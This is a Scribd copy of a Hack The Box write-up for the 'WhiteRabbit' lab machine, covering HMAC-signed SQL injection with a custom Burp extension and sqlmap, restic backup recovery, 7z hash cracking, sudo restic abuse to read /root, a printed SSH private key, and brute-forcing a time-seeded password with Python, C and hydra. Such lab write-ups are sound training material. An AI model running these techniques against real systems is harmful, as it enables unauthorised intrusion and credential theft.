100% found this document useful (1 vote)
4K views10 pages

WhiteRabbit Writeup (Created by Someone)

The writeup details a security assessment of the subdomain status.whiterabbit.htb, which hosts Uptime Kuma. Through directory brute-forcing and research, the author discovers vulnerabilities in webhook endpoints that could be exploited via SQL injection, leading to the retrieval of sensitive information such as database contents and SSH keys. The writeup concludes with the extraction of a private SSH key for user morpheus, allowing further access to the main machine.

Uploaded by

21r21a6238
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd
100% found this document useful (1 vote)
4K views10 pages

WhiteRabbit Writeup (Created by Someone)

The writeup details a security assessment of the subdomain status.whiterabbit.htb, which hosts Uptime Kuma. Through directory brute-forcing and research, the author discovers vulnerabilities in webhook endpoints that could be exploited via SQL injection, leading to the retrieval of sensitive information such as database contents and SSH keys. The writeup concludes with the extraction of a private SSH key for user morpheus, allowing further access to the main machine.

Uploaded by

21r21a6238
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd
You are on page 1/ 10

WhiteRabbit Writeup (Created by Someone)

#HTB #Writeup

New subdomain, status.whiterabbit.htb that has Uptime Kuma

However we couldn't find anything (lot of directory bruteforcing for both subdomains), so after a
little bit of research:

https://github.com/louislam/uptime-kuma/issues/2917

This says that under /status/ endpoint, there might be some pages accessible for non
authenticated users.

So we bruteforced this endpoint and found /status/temp/ that lists some new subdomains:

GoPhish -> ddb09a8558c9.whiterabbit.htb


Wikijs -> a668910b5514e.whiterabbit.htb

https://getgophish.com/
https://js.wiki/

If we read this post on Wikijs endpoint


http://a668910b5514e.whiterabbit.htb/en/gophish_webhooks we can see that there is a
webhook endpoint that talks to n8n subdomain 28efa8f7df.whiterabbit.htb

Interestingly:

4. User Validation: Checks if the user’s email from the event is present in the database.

So this could be vulnerable to SQLI, however this endpoint requires x-gophish-signature


header containing a HMAC Signature of the POST Request Body.

However we don't have the key for HMAC Signature, but if we continue reading:

We have attached a json file of a completed workflow where an invalid signature is provided
gophish_to_phishing_score_database.json

If we read
http://a668910b5514e.whiterabbit.htb/gophish/gophish_to_phishing_score_database.js
on we can find the secret key use for HMAC Signature:
Grep for secret

3CWVGMndgMvdVAzOjqBiTicmv7gxc6IS

Now we can test for SQLI either manually or using sqlmap .

To generate a HMAC Signature we can use CyberChef

https://gchq.github.io/CyberChef/#recipe=HMAC(%7B'option':'UTF8','string':'3CWVGMndgM
vdVAzOjqBiTicmv7gxc6IS'%7D,'SHA256')&input=eyJjYW1wYWlnbl9pZCI6MiwiZW1haWwi
OiJ0ZXN0XCIiLCJtZXNzYWdlIjoiQ2xpY2tlZCBMaW5rIn0&ieol=CRLF

It appears to be vulnerable using a payload like:

{"campaign_id":2,"email":"test\"","message":"Clicked Link"}

We can see MySQL Syntax Error

However if we try to exploit it manually it will be very slow, so we will use sqlmap and we will
create a BurpSuite extension that will append the x-gophish-signature header along with the
correct HMAC Signature automatically:

https://www.pentestpartners.com/security-blog/burp-hmac-header-extensions-a-how-to/

The code we used:

https://github.com/pentestpartners/snippets/blob/master/hmac.py

However we need to modify it to fit out needs:

from burp import IBurpExtender


from burp import ISessionHandlingAction
from burp import IParameter
from java.io import PrintWriter
from datetime import datetime

import hashlib
import hmac
import base64

class BurpExtender(IBurpExtender, ISessionHandlingAction):


#
# implement IBurpExtender
#
def registerExtenderCallbacks(self, callbacks):
stdout = PrintWriter(callbacks.getStdout(), True)
self._callbacks = callbacks
self._helpers = callbacks.getHelpers()
callbacks.setExtensionName("HMAC Header")
stdout.println("HMAC Header Registered OK")
callbacks.registerSessionHandlingAction(self)
stdout.println("Session handling started")
return

def getActionName(self):
return "HMAC Header"

def performAction(self, currentRequest, macroItems):


#Update the secret key for HMAC
Secret = "3CWVGMndgMvdVAzOjqBiTicmv7gxc6IS"

stdout = PrintWriter(self._callbacks.getStdout(), True)


requestInfo = self._helpers.analyzeRequest(currentRequest)

#Get URL path (the bit after the FQDN)


urlpath =
self._helpers.analyzeRequest(currentRequest).getUrl().getPath()
urlpath = self._helpers.urlEncode(urlpath)

#Get body
BodyBytes = currentRequest.getRequest()[requestInfo.getBodyOffset():]
BodyStr = self._helpers.bytesToString(BodyBytes)

#Get time
timestamp = datetime.now()
timestamp = timestamp.isoformat()

#Compute HMAC
content = BodyStr
stdout.println(content)
_hmac = hmac.new(Secret, content,
digestmod=hashlib.sha256).hexdigest()
stdout.println(_hmac)

#Add to headers array


headers = requestInfo.getHeaders()
hmacheader = "x-gophish-signature: sha256="+_hmac
headers.add(hmacheader)

# Build new HTTP message with the new HMAC header


message = self._helpers.buildHttpMessage(headers, BodyStr)

# Update request with the new header and send it on its way
currentRequest.setRequest(message)
return

See BurpSuite Custom Extensions for information on how to install custom extensions and
run them
We can then use sqlmap to automate the attack:

sqlmap -u http://28efa8f7df.whiterabbit.htb/webhook/d96af3a4-21bd-4bcb-bd34-
37bfc67dfd1d --method POST --data
'{"campaign_id":2,"email":"[email protected]","message":"Clicked Linka"}' -p email
--proxy http://127.0.0.1:8080/ --batch --dump --level=5 --risk=3 -D temp -T
command_log --f
lush

We were able to dump the temp database, and its command_log table:

+----+---------------------+--------------------------------------------------
----------------------------+
| id | date | command
|
+----+---------------------+--------------------------------------------------
----------------------------+
| 1 | 2024-08-30 10:44:01 | uname -a
|
| 2 | 2024-08-30 11:58:05 | restic init --repo
rest:http://75951e6ff.whiterabbit.htb |
| 3 | 2024-08-30 11:58:36 | echo ygcsvCuMdfZ89yaRLlTKhe5jAmth7vxw >
.restic_passwd |
| 4 | 2024-08-30 11:59:02 | rm -rf .bash_history
|
| 5 | 2024-08-30 11:59:47 | #thatwasclose
|
| 6 | 2024-08-30 14:40:42 | cd /home/neo/ && /opt/neo-password-generator/neo-
password-generator | passwd |
+----+---------------------+--------------------------------------------------
----------------------------+

We can see that there is a Restic repo on this subdomain


http://75951e6ff.whiterabbit.htb , we can also see the password used for that repo
ygcsvCuMdfZ89yaRLlTKhe5jAmth7vxw .

Interestingly from the database dump we can see:

2024-08-30 14:40:42 | cd /home/neo/ && /opt/neo-password-generator/neo-


password-generator | passwd
At 2024-08-30 14:40:42 someone run the command /opt/neo-password-generator/neo-
password-generator and piped it into passwd , in other words he changed his password to the
one generated by /opt/neo-password-generator/neo-password-generator .
This information is of no use for us in the meantime but will be useful later on so let's take a
note of it.

For now let's focus on the Restic repo, so we can access this repo and see if there are any
backups to recover them:

## Export needed environment varaibles


export RESTIC_PASSWORD=ygcsvCuMdfZ89yaRLlTKhe5jAmth7vxw
export RESTIC_REPOSITORY=rest:http://75951e6ff.whiterabbit.htb

## Get a list of snapshots (backups)


restic snapshots

## Restore a path from specific snapshot to current directory


restic restore 272cacd5 --target . --path /dev/shm/bob/ssh

## Grab 7z hash of bob.7z file that we just recovered


cd dev/shm/bob/ssh/
7z2john bob.7z

We can see that there is an encrypted bob.7z file, so we can get a crackable format using
7z2john then crack the encryption using hashcat .

Got hash for bob.7z :

bob.7z:$7z$2$19$0$$8$61d81f6f9997419d0000000000000000$4049814156$368$365$7295a
784b0a8cfa7d2b0a8a6f88b961c8351682f167ab77e7be565972b82576e7b5ddd25db30eb27137
078668756bf9dff5ca3a39ca4d9c7f264c19a58981981486a4ebb4a682f87620084c35abb66ac9
8f46fd691f6b7125ed87d58e3a37497942c3c6d956385483179536566502e598df3f63959cf16e
a2d182f43213d73feff67bcb14a64e2ecf61f956e53e46b17d4e4bc06f536d43126eb4efd1f529
a2227ada8ea6e15dc5be271d60360ff5c816599f0962fc742174ff377e200250b835898263d997
d4ea3ed6c3fc21f64f5e54f263ebb464e809f9acf75950db488230514ee6ed92bd886d0a9303bc
535ca844d2d2f45532486256fbdc1f606cca1a4680d75fa058e82d89fd3911756d530f621e801d
73333a0f8419bd403350be99740603dedff4c35937b62a1668b5072d6454aad98ff491cb7b1632
78f8df3dd1e64bed2dac9417ca3edec072fb9ac0662a13d132d7aa93ff58592703ec5a556be2c0
f0c5a3861a32f221dcb36ff3cd713$399$00

Cracked with hashcat :

1q2w3e4r5t6y
After extracting the content, we can see a private SSH key for user bob which can SSH to the
server listening on port 2222 :

ssh [email protected] -i bob -p 2222

Running sudo -l we can see that user bob can run /usr/bin/restic as root.
Remember restic is used to backup files into local/remote repo, so we might be able to
abuse this behavior to backup the /root/ directory and then read its content:

## Init a new local repo


sudo /usr/bin/restic init -r .
## Then input any pass u want and use that pass whenever they prompt u

## Backup the /root/ directory


sudo restic -r . backup /root/

## List the latest backup


sudo restic -r . ls latest

## Dump /root/morpheus from the latest backup made


sudo restic -r . dump latest /root/morpheus

Content of /root/morpheus :

-----BEGIN OPENSSH PRIVATE KEY-----


b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAaAAAABNlY2RzYS
1zaGEyLW5pc3RwMjU2AAAACG5pc3RwMjU2AAAAQQS/TfMMhsru2K1PsCWvpv3v3Ulz5cBP
UtRd9VW3U6sl0GWb0c9HR5rBMomfZgDSOtnpgv5sdTxGyidz8TqOxb0eAAAAqOeHErTnhx
K0AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBL9N8wyGyu7YrU+w
Ja+m/e/dSXPlwE9S1F31VbdTqyXQZZvRz0dHmsEyiZ9mANI62emC/mx1PEbKJ3PxOo7FvR
4AAAAhAIUBairunTn6HZU/tHq+7dUjb5nqBF6dz5OOrLnwDaTfAAAADWZseEBibGFja2xp
c3QBAg==
-----END OPENSSH PRIVATE KEY-----

/root/morpheus is apparently the SSH private key for user morpheus on the main machine
(Server on port 22 ), so we can now SSH as morpheus to the main machine and grab the
user.txt .

Now we can focus on /opt/neo-password-generator/neo-password-generator we saw


earlier.

Since this appears to be a custom made binary, let's download a copy of it using scp to our
local machine for further analysis:
scp -i morpheus_id_rsa [email protected]:/opt/neo-password-
generator/neo-password-generator .

Using Ghidra, the main function is simple and contains:

gettimeofday(&local_28,(__timezone_ptr_t)0x0);
generate_password(local_28.tv_sec * 1000 + local_28.tv_usec / 1000);

So apparently it's getting the current the using it to generate a password.

If we read the man page for gettimeofday() function in C:

https://man7.org/linux/man-pages/man2/gettimeofday.2.html

We can see that the first argument is a timeval struct:

struct timeval {
time_t tv_sec; /* seconds */
suseconds_t tv_usec; /* microseconds */
};

This gives the number of seconds and microseconds since the Epoch (see time(2)).

And the second argument is a timezone struct, in our case it is passing NULL so we don't care
about it.

Then we are calling the custom function generate_password() and passing local_28.tv_sec
* 1000 + local_28.tv_usec / 1000 as argument.

Multiply the seconds by 1000


Divide the microseconds by 1000
Add both results

The generate_password() function is as follows:

void generate_password(uint param_1)

{
int iVar1;
long in_FS_OFFSET;
int local_34;
char local_28 [20];
undefined local_14;
long local_10;
local_10 = *(long *)(in_FS_OFFSET + 0x28);
srand(param_1);
for (local_34 = 0; local_34 < 0x14; local_34 = local_34 + 1) {
iVar1 = rand();
local_28[local_34] =
"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
[iVar1 % 0x3e];
}
local_14 = 0;
puts(local_28);
if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return;
}

It takes the first parameter as a seed for the rand() function, which will generate a random
password based on that seed.

This random number is then used by computing random % 62 ( 62 is 0x3e in hex) and
appending the character of the index = random % 62 to the password.

The final password length is 20 ( 20 is 0x14 in hex).

We know that user neo has ran this binary at 2024-08-30 14:40:42 , so we know the exact
number of seconds since the Epoch, however we don't know the number of microseconds, so
we will need to bruteforce that number divided by 1000 , so from 0 to 999 (only 1000
possible values, since microsecond is 1000000 and divided by 1000 becomes 1000 ).

Wrote a simple python script that will generate all the possible passwords:

from ctypes import CDLL


import datetime

## Implement C random in Python3 ->


https://gist.github.com/SakiiR/a073f22c3943a530a2574dd7fde13e38
## Since the Python3 random library is implemented in a different way than the
C one -> https://stackoverflow.com/questions/47114939/python-randomint-should-
be-equal-to-c-rand
libc = CDLL("libc.so.6")

## Get timestamp from UTC in Unix EPoch


# tzinfo=datetime.timezone(datetime.timedelta(0)) -> used to specify UTC
seconds = datetime.datetime(2024, 8, 30, 14, 40, 42,
tzinfo=datetime.timezone(datetime.timedelta(0))).timestamp()

for i in range(0,1000):
password = ""
microseconds = i
current_seed_value = int(seconds * 1000 + microseconds)

print(current_seed_value)
## Set seed of random from libc library
libc.srand(current_seed_value)
for j in range(0,20):
## Call random function from libc
rand_int = libc.rand()
password +=
"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"[ rand_int %
62]
print(password)

Then we can bruteforce SSH passwords for neo user:

python3 pass_wordlist_generator.py > pass_list.txt


hydra -l neo -P pass_list.txt ssh://whiterabbit.htb -t 20

Found the password:

WBSxhWgfnMiclrV4dqfj

Now we can SSH as neo and run sudo su to become root and read root.txt flag.

Additional Notes
Same bruteforcer but written in C:

#include <stdio.h>
#include <stdlib.h>
#include <time.h>
#include <string.h> // Required for explicit timegm declaration if needed

// Explicit declaration for timegm if missing from time.h on some systems


#ifndef timegm
time_t timegm(struct tm *tm);
#endif

int main(){
char cs[]="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789",
pwd[21];
// Define the specific time struct (Year 2024, Month 8 (August, 0-indexed),
Day 30, 14:40:42)
struct tm tm = { .tm_year = 2024-1900, .tm_mon = 8-1, .tm_mday = 30,
.tm_hour = 14, .tm_min = 40, .tm_sec = 42 };
time_t t = timegm(&tm); // Convert struct tm (UTC) to time_t (seconds since
epoch)
if (t == (time_t)-1) { // Error check for timegm
perror("timegm failed");
return 1;
}

for(int ms = 0; ms < 1000; ms++){ // Iterate through milliseconds 0-999


// Seed the PRNG with seconds * 1000 + milliseconds
srand(t * 1000 + ms);
// Generate a 20-character password
for(int i = 0; i < 20; i++) pwd[i] = cs[rand() % 62]; // 62 possible chars
pwd[20] = '\0'; // Null-terminate the string
printf("%s\n", pwd); // Print the generated password
}
return 0;
}

Then compile and run:

The timegm function might require linking the math library or might be implicitly available
depending on your glibc version.

gcc gen_neo_pwd.c -o gen_neo_pwd


./gen_neo_pwd > pass_list.txt

You might also like